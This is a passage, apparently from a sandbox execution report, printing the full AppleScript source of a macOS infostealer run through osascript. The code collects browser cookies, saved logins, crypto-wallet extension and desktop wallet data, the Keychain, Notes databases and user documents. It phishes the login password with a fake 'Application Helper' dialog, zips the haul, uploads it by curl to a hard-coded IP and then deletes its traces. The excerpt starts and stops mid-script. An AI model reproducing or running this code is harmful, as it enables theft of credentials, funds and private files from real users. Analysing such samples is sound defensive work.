\"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"bcopgchhojmggmffilplmbdicgaihlkp\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"gcbjmdjijjpffkpbgdkaojpmaninaion\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"hoighigmnhgkkdaenafgnefkcmipfjon\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"fhilaheimglignddkjgofkcbgekhenbh\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"cihmoadaighcejopammfbmddcmdekcje\", \"lodccjjbdhfakaekdiahmedfbieldgik\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"cjelfplplebdjjenllpjcblmjkfcffne\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"flpiciilemghbmfalicajoolhkkenfel\", \"hcflpincpppdclinealmandijcmnkbgn\", \"aeachknmefphepccionboohckonoeemg\", \"nlobpakggmbcgdbpjpnagmdbdhdhgphk\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"fnnegphlobjdpkhecapkijjdkgcjhkib\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"imlcamfeniaidioeflifonfjeeppblda\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"ooiepdgjjnhcmlaobfinbomgebfgablh\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"bocpokimicclpaiekenaeelehdjllofo\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"phkbamefinggmakgklpkljjmgibohnba\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"hpclkefagolihohboafpheddmmgdffjm\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"mcbigmjiafegjnnogedioegffbooigli\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"dcbjpgbkjoomeenajdabiicabjljlnfp\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"copjnifcecdedocejpaapepagaodgpbh\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"nknhiehlklippafakaeklbeglecifhad\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"odpnjmimokcmjgojhnhfcnalnegdjmdn\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"hpglfhgfnhbgpjdenjgmdgoeiappafln\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"nlbmnnijcnlegkjjpcfjclmcfggfefdm\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"agoakfejjabomempkjlepdflaleeobhb\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kkpehldckknjffeakihjajcjccmcjflh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"anokgmphncpekkhclmingpimjmcooifb\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"cmndjbecilbocjfkibfbifhngkdmjgog\", \"kpfopkelmapcoipemfendmdcghnegimn\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"nngceckbapebfimnlniiiahkandclblb\"} set custom_plugin_list to {\"\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"} repeat with chromium in chromium_map set savePath to writemind & \"Chromium/\" & item 1 of chromium & \"_\" try set fileList to list folder item 2 of chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath, savePath & currentItem, pluginList, false) grabPlugins(readpath, writemind & \"deskwallets/\", custom_plugin_list, false) else if (CFile as string) is equal to \"/IndexedDB/\" then grabPlugins(readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/tmp/xuyna/FileGrabber/\" set photosPath to POSIX file \"/tmp/photos\" mkdir(photosPath) mkdir(destinationFolderPath) set extensionsList to {\"txt\",\"pdf\",\"docx\",\"zip\",\"wallet\",\"key\",\"keys\",\"doc\",\"jpeg\",\"png\"} set bankSize to 0 tell application \"Finder\" try set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\" duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing set name of result to \"saf1\" end try try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" set notesAccounts to folder (notesFolderPath & \"Accounts:\") try --duplicate notesAccounts to photosPath with replacing end try try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing end try end repeat end try end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) set downloadsFiles to every file of folder \"Downloads\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if (bankSize + filesize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + filesize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(attempt) try set result_send to (do shell script \"curl -X POST -H \\\"uuid: 3ffe5a5a94a04af5b2155e01e50fb82f\\\" -H \\\"user: admin\\\" -H \\\"buildid: 2025-01-29T04:53:42.406Z\\\" --data-binary @/tmp/out.zip http://65.20.101.215/p2p\") on error if attempt < 10 then delay 60 send_data(attempt + 1) end if end try end send_data on VPN(writemind, vpn_dirs) end VPN set username to (system attribute \"USER\") set profile to \"/Users/\" & username set writemind to \"/tmp/xuyna/\" try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"user\") end try set library to profile & \"/Library/Application Support/\" set password_entered to getpwd(username, writemind) delay 0.01 set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"}, {\"Brave\", library & \"BraveSoftware/Brave-Browser/\"}, {\"Edge\", library & \"Microsoft Edge/\"}, {\"Vivaldi\", library & \"Vivaldi/\"}, {\"Opera\", library & \"com.operasoftware.Opera/\"}, {\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}, {\"Chrome Beta\", library & \"Google/Chrome Beta/\"}, {\"Chrome Canary\", library & \"Google/Chrome Canary\"}, {\"Chromium\", library & \"Chromium/\"}, {\"Chrome Dev\", library & \"Google/Chrome Dev/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"}, {\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"}, {\"deskwallets/Exodus\", library & \"Exodus/\"}, {\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}, {\"deskwallets/Wasabi\", profile & \"/.walletwasabi/client/Wallets/\"}, {\"deskwallets/Ledger_Live\", library & \"Ledger Live/\"}, {\"deskwallets/Monero\", profile & \"/Monero/wallets/\"}, {\"deskwallets/Bitcoin_Core\", library & \"Bitcoin/wallets/\"}, {\"deskwallets/Litecoin_Core\", library & \"Litecoin/wallets/\"}, {\"deskwallets/Dash_Core\", library & \"DashCore/wallets/\"}, {\"deskwallets/Electrum_LTC\", profile & \"/.electrum-ltc/wallets/\"}, {\"deskwallets/Electron_Cash\", profile & \"/.electron-cash/wallets/\"}, {\"deskwallets/Guarda\", library & \"Guarda/\"}, {\"deskwallets/Dogecoin_Core\", library & \"Dogecoin/wallets/\"}, {\"deskwallets/Trezor_Suite\", library & \"@trezor/suite-desktop/\"}} readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(library & \"@tonkeeper/desktop/config.json\", \"deskwallets/TonKeeper/config.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind & \"keychain\") if release then readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\", writemind & \"FileGrabber/NoteStore.sqlite\") readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal\", writemind & \"FileGrabber/NoteStore.sqlite-wal\") readwrite(profile & \"/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm\", writemind & \"FileGrabber/NoteStore.sqlite-shm\") readwrite(profile & \"/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/Cookies.binarycookies\") readwrite(profile & \"/Library/Cookies/Cookies.binarycookies\", writemind & \"FileGrabber/saf1\") end if if filegrabbers then filegrabber() end if writeText(username, writemind & \"username\") set ff_paths to {library & \"Firefox/Profiles/\", library & \"Waterfox/Profiles/\", library & \"Pale Moon/Profiles/\"} repeat with firefox in ff_paths try parseFF(firefox, writemind) end try end repeat chromium(writemind, chromiumMap) deskwallets(writemind, walletMap) --GrabFolderLimit(\"/tmp/photos/\", writemind & \"FileGrabber/NotesPhoto/\") --set vpns to {{\"OpenVPN\", library & \"OpenVPN Connect/profiles/\"}} readwrite(\"/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist\", writemind & \"vpn/FortiVPN/vpn.plist\") do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /tmp/out.zip\" send_data(0) do shell script \"rm -r \" & writemind do shell script \"rm -r /tmp/photos\" do shell script \"rm /tmp/out.zip\" ' &"
                                                    1⤵
                                                      PID:522
                                                      • /usr/bin/osascript
                                                        osascript -e "set release to true set filegrabbers to true on filesizer(paths) set fsz to 0 try set theItem to quoted form of POSIX path of paths set fsz to (do shell script \"/usr/bin/mdls -name kMDItemFSSize -raw \" & theItem) end try return fsz end filesizer on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to BeforeFileName(path_as_save) mkdir(folderPath) do shell script \"cat \" & quoted form of path_to_file & \" > \" & quoted form of path_as_save end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolderLimit(sourceFolder, destinationFolder) try set bankSize to 0 set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolderLimit(itemPath, savePath) else set fsz to filesizer(itemPath) set bankSize to bankSize + fsz if bankSize < 10 * 1024 * 1024 then readwrite(itemPath, savePath) end if end if end if end repeat end try end GrabFolderLimit on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\", \"journals\", \"Previews\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on GetUUID(pather, searchString) try set theFile to POSIX file pather set fileContents to read theFile set startPos to offset of searchString in fileContents if startPos is 0 then return \"not found\" end if set uuidStart to startPos + (length of searchString) set uuid to text uuidStart thru (uuidStart + 55) of fileContents set endpos to offset of \"\\\\\" in uuid if endpos is 0 then return \"not found\" end if set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents return realuuid on error return \"not found\" end try end GetUUID on firewallets(firepath, writemind, profile) try set fire_wallets to {{\"MetaMask\", \"[email protected]\\\\\\\":\\\\\\\"\"}} repeat with wallet in fire_wallets set uuid to GetUUID(firepath & \"/prefs.js\", item 2 of wallet) if uuid is not \"not found\" then set walkpath to firepath & \"/storage/default/\" set fileList to list folder walkpath without invisibles repeat with currentItem in fileList if currentItem contains uuid then set fwallet to walkpath & currentItem & \"/idb/\" set fileList_wallet to list folder fwallet without invisibles repeat with currentItem_wallet in fileList_wallet if isDirectory(fwallet & currentItem_wallet) then GrabFolder(fwallet & currentItem_wallet, writemind & \"ffwallets/\" & item 1 of wallet & \"_\" & profile & \"/\") end if end repeat end if end repeat end if end repeat end try end firewallets on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList firewallets(firefox & currentItem, writemind, currentItem) set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) try if checkvalid(username, \"\") then set result to do shell script \"security 2>&1 > /dev/null find-generic-password -ga \\\"Chrome\\\" | awk \\\"{print \$2}\\\"\" writeText(result as string, writemind & \"masterpass-chrome\") else repeat set result to display dialog \"Required Application Helper. Please enter password for continue.\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") return password_entered end if end repeat end if end try return \"\" end getpwd on grabPlugins(paths, savePath, pluginList, index) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with Plugin in pluginList if (PFile contains Plugin) then set newpath to paths & PFile set newsavepath to savePath & \"/\" & Plugin if index then set newsavepath to newsavepath & \"/IndexedDB/\" end if GrabFolder(newpath, newsavepath) end if end repeat end repeat end try end grabPlugins on chromium(writemind, chromium_map) set pluginList to {\"keenhcnmdmjjhincpilijphpiohdppno\", \"hbbgbephgojikajhfbomhlmmollphcad\", \"cjmkndjhnagcfbpiemnkdpomccnjblmj\", \"dhgnlgphgchebgoemcjekedjjbifijid\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"kamfleanhcmjelnhaeljonilnmjpkcjc\", \"jnldfbidonfeldmalbflbmlebbipcnle\", \"fdcnegogpncmfejlfnffnofpngdiejii\", \"klnaejjgbibmhlephnhpmaofohgkpgkd\", \"pdadjkfkgcafgbceimcpbkalnfnepbnk\", \"kjjebdkfeagdoogagbhepmbimaphnfln\", \"ldinpeekobnhjjdofggfgjlcehhmanlj\", \"dkdedlpgdmmkkfjabffeganieamfklkm\", \"bcopgchhojmggmffilplmbdicgaihlkp\", \"kpfchfdkjhcoekhdldggegebfakaaiog\", \"idnnbdplmphpflfnlkomgpfbpcgelopg\", \"mlhakagmgkmonhdonhkpjeebfphligng\", \"bipdhagncpgaccgdbddmbpcabgjikfkn\", \"gcbjmdjijjpffkpbgdkaojpmaninaion\", \"nhnkbkgjikgcigadomkphalanndcapjk\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"hoighigmnhgkkdaenafgnefkcmipfjon\", \"klghhnkeealcohjjanjjdaeeggmfmlpl\", \"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"ebfidpplhabeedpnhjnobghokpiioolj\", \"emeeapjkbcbpbpgaagfchmcgglmebnen\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"fhilaheimglignddkjgofkcbgekhenbh\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"cihmoadaighcejopammfbmddcmdekcje\", \"lodccjjbdhfakaekdiahmedfbieldgik\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"cjelfplplebdjjenllpjcblmjkfcffne\", \"jnlgamecbpmbajjfhmmmlhejkemejdma\", \"fpkhgmpbidmiogeglndfbkegfdlnajnf\", \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", \"amkmjjmmflddogmhpjloimipbofnfjih\", \"flpiciilemghbmfalicajoolhkkenfel\", \"hcflpincpppdclinealmandijcmnkbgn\", \"aeachknmefphepccionboohckonoeemg\", \"nlobpakggmbcgdbpjpnagmdbdhdhgphk\", \"momakdpclmaphlamgjcndbgfckjfpemp\", \"mnfifefkajgofkcjkemidiaecocnkjeh\", \"fnnegphlobjdpkhecapkijjdkgcjhkib\", \"ehjiblpccbknkgimiflboggcffmpphhp\", \"ilhaljfiglknggcoegeknjghdgampffk\", \"pgiaagfkgcbnmiiolekcfmljdagdhlcm\", \"fnjhmkhhmkbjkkabndcnnogagogbneec\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"imlcamfeniaidioeflifonfjeeppblda\", \"mdjmfdffdcmnoblignmgpommbefadffd\", \"ooiepdgjjnhcmlaobfinbomgebfgablh\", \"pcndjhkinnkaohffealmlmhaepkpmgkb\", \"ppdadbejkmjnefldpcdjhnkpbjkikoip\", \"cgeeodpfagjceefieflmdfphplkenlfk\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"bocpokimicclpaiekenaeelehdjllofo\", \"pocmplpaccanhmnllbbkpgfliimjljgo\", \"cphhlgmgameodnhkjdmkpanlelnlohao\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"bopcbmipnjdcdfflfgjdgdjejmgpoaab\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"phkbamefinggmakgklpkljjmgibohnba\", \"epapihdplajcdnnkdeiahlgigofloibg\", \"hpclkefagolihohboafpheddmmgdffjm\", \"cjookpbkjnpkmknedggeecikaponcalb\", \"cpmkedoipcpimgecpmgpldfpohjplkpp\", \"modjfdjcodmehnpccdjngmdfajggaoeh\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"kncchdigobghenbbaddojjnnaogfppfj\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"mcbigmjiafegjnnogedioegffbooigli\", \"fccgmnglbhajioalokbcidhcaikhlcpm\", \"hnhobjmcibchnmglfbldbfabcgaknlkj\", \"apnehcjmnengpnmccpaibjmhhoadaico\", \"enabgbdfcbaehmbigakijjabdpdnimlg\", \"mgffkfbidihjpoaomajlbgchddlicgpn\", \"fopmedgnkfpebgllppeddmmochcookhc\", \"jojhfeoedkpkglbfimdfabpdfjaoolaf\", \"ammjlinfekkoockogfhdkgcohjlbhmff\", \"abkahkcbhngaebpcgfmhkoioedceoigp\", \"dcbjpgbkjoomeenajdabiicabjljlnfp\", \"gkeelndblnomfmjnophbhfhcjbcnemka\", \"pnndplcbkakcplkjnolgbkdgjikjednm\", \"copjnifcecdedocejpaapepagaodgpbh\", \"hgbeiipamcgbdjhfflifkgehomnmglgk\", \"mkchoaaiifodcflmbaphdgeidocajadp\", \"ellkdbaphhldpeajbepobaecooaoafpg\", \"mdnaglckomeedfbogeajfajofmfgpoae\", \"nknhiehlklippafakaeklbeglecifhad\", \"ckklhkaabbmdjkahiaaplikpdddkenic\", \"fmblappgoiilbgafhjklehhfifbdocee\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"cnmamaachppnkjgnildpdmkaakejnhae\", \"fijngjgcjhjmmpcmkeiomlglpeiijkld\", \"niiaamnmgebpeejeemoifgdndgeaekhe\", \"odpnjmimokcmjgojhnhfcnalnegdjmdn\", \"lbjapbcmmceacocpimbpbidpgmlmoaao\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"hpglfhgfnhbgpjdenjgmdgoeiappafln\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"ibljocddagjghmlpgihahamcghfggcjc\", \"gkodhkbmiflnmkipcmlhhgadebbeijhh\", \"dbgnhckhnppddckangcjbkjnlddbjkna\", \"mfhbebgoclkghebffdldpobeajmbecfk\", \"nlbmnnijcnlegkjjpcfjclmcfggfefdm\", \"nlgbhdfgdhgbiamfdfmbikcdghidoadd\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"agoakfejjabomempkjlepdflaleeobhb\", \"dgiehkgfknklegdhekgeabnhgfjhbajd\", \"onhogfjeacnfoofkfgppdlbmlmnplgbn\", \"kkpehldckknjffeakihjajcjccmcjflh\", \"jaooiolkmfcmloonphpiiogkfckgciom\", \"ojggmchlghnjlapmfbnjholfjkiidbch\", \"pmmnimefaichbcnbndcfpaagbepnjaig\", \"oiohdnannmknmdlddkdejbmplhbdcbee\", \"aiifbnbfobpmeekipheeijimdpnlpgpp\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"anokgmphncpekkhclmingpimjmcooifb\", \"kkpllkodjeloidieedojogacfhpaihoh\", \"iokeahhehimjnekafflcihljlcjccdbe\", \"ifckdpamphokdglkkdomedpdegcjhjdp\", \"loinekcabhlmhjjbocijdoimmejangoa\", \"fcfcfllfndlomdhbehjjcoimbgofdncg\", \"ifclboecfhkjbpmhgehodcjpciihhmif\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"ookjlbkiijinhpmnjffcofjonbfbgaoc\", \"oafedfoadhdjjcipmcbecikgokpaphjk\", \"mapbhaebnddapnmifbbkgeedkeplgjmf\", \"cmndjbecilbocjfkibfbifhngkdmjgog\", \"kpfopkelmapcoipemfendmdcghnegimn\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\", \"ffnbelfdoeiohenkjibnmadjiehjhajb\", \"opcgpfmipidbgpenhmajoajpbobppdil\", \"lakggbcodlaclcbbbepmkpdhbcomcgkd\", \"kgdijkcfiglijhaglibaidbipiejjfdp\", \"hdkobeeifhdplocklknbnejdelgagbao\", \"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\", \"nbdhibgjnjpnkajaghbffjbkcgljfgdi\", \"kmhcihpebfmpgmihbkipmjlmmioameka\", \"kmphdnilpmdejikjdnlbcnmnabepfgkh\", \"nngceckbapebfimnlniiiahkandclblb\"} set custom_plugin_list to {\"\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\", \"/IndexedDB/\"} repeat with chromium in chromium_map set savePath to writemind & \"Chromium/\" & item 1 of chromium & \"_\" try set fileList to list folder item 2 of chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath, savePath & currentItem, pluginList, false) grabPlugins(readpath, writemind & \"deskwallets/\", custom_plugin_list, false) else if (CFile as string) is equal to \"/IndexedDB/\" then grabPlugins(readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/tmp/xuyna/FileGrabber/\" set photosPath to POSIX file \"/tmp/photos\" mkdir(photosPath) mkdir(destinationFolderPath) set extensionsList to {\"txt\",\"pdf\",\"docx\",\"zip\",\"wallet\",\"key\",\"keys\",\"doc\",\"jpeg\",\"png\"} set bankSize to 0 tell application \"Finder\" try set safariFolderPath to (path to home folder as text) & \"Library:Cookies:\" duplicate file (safariFolderPath & \"Cookies.binarycookies\") to folder destinationFolderPath with replacing set name of result to \"saf1\" end try try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & 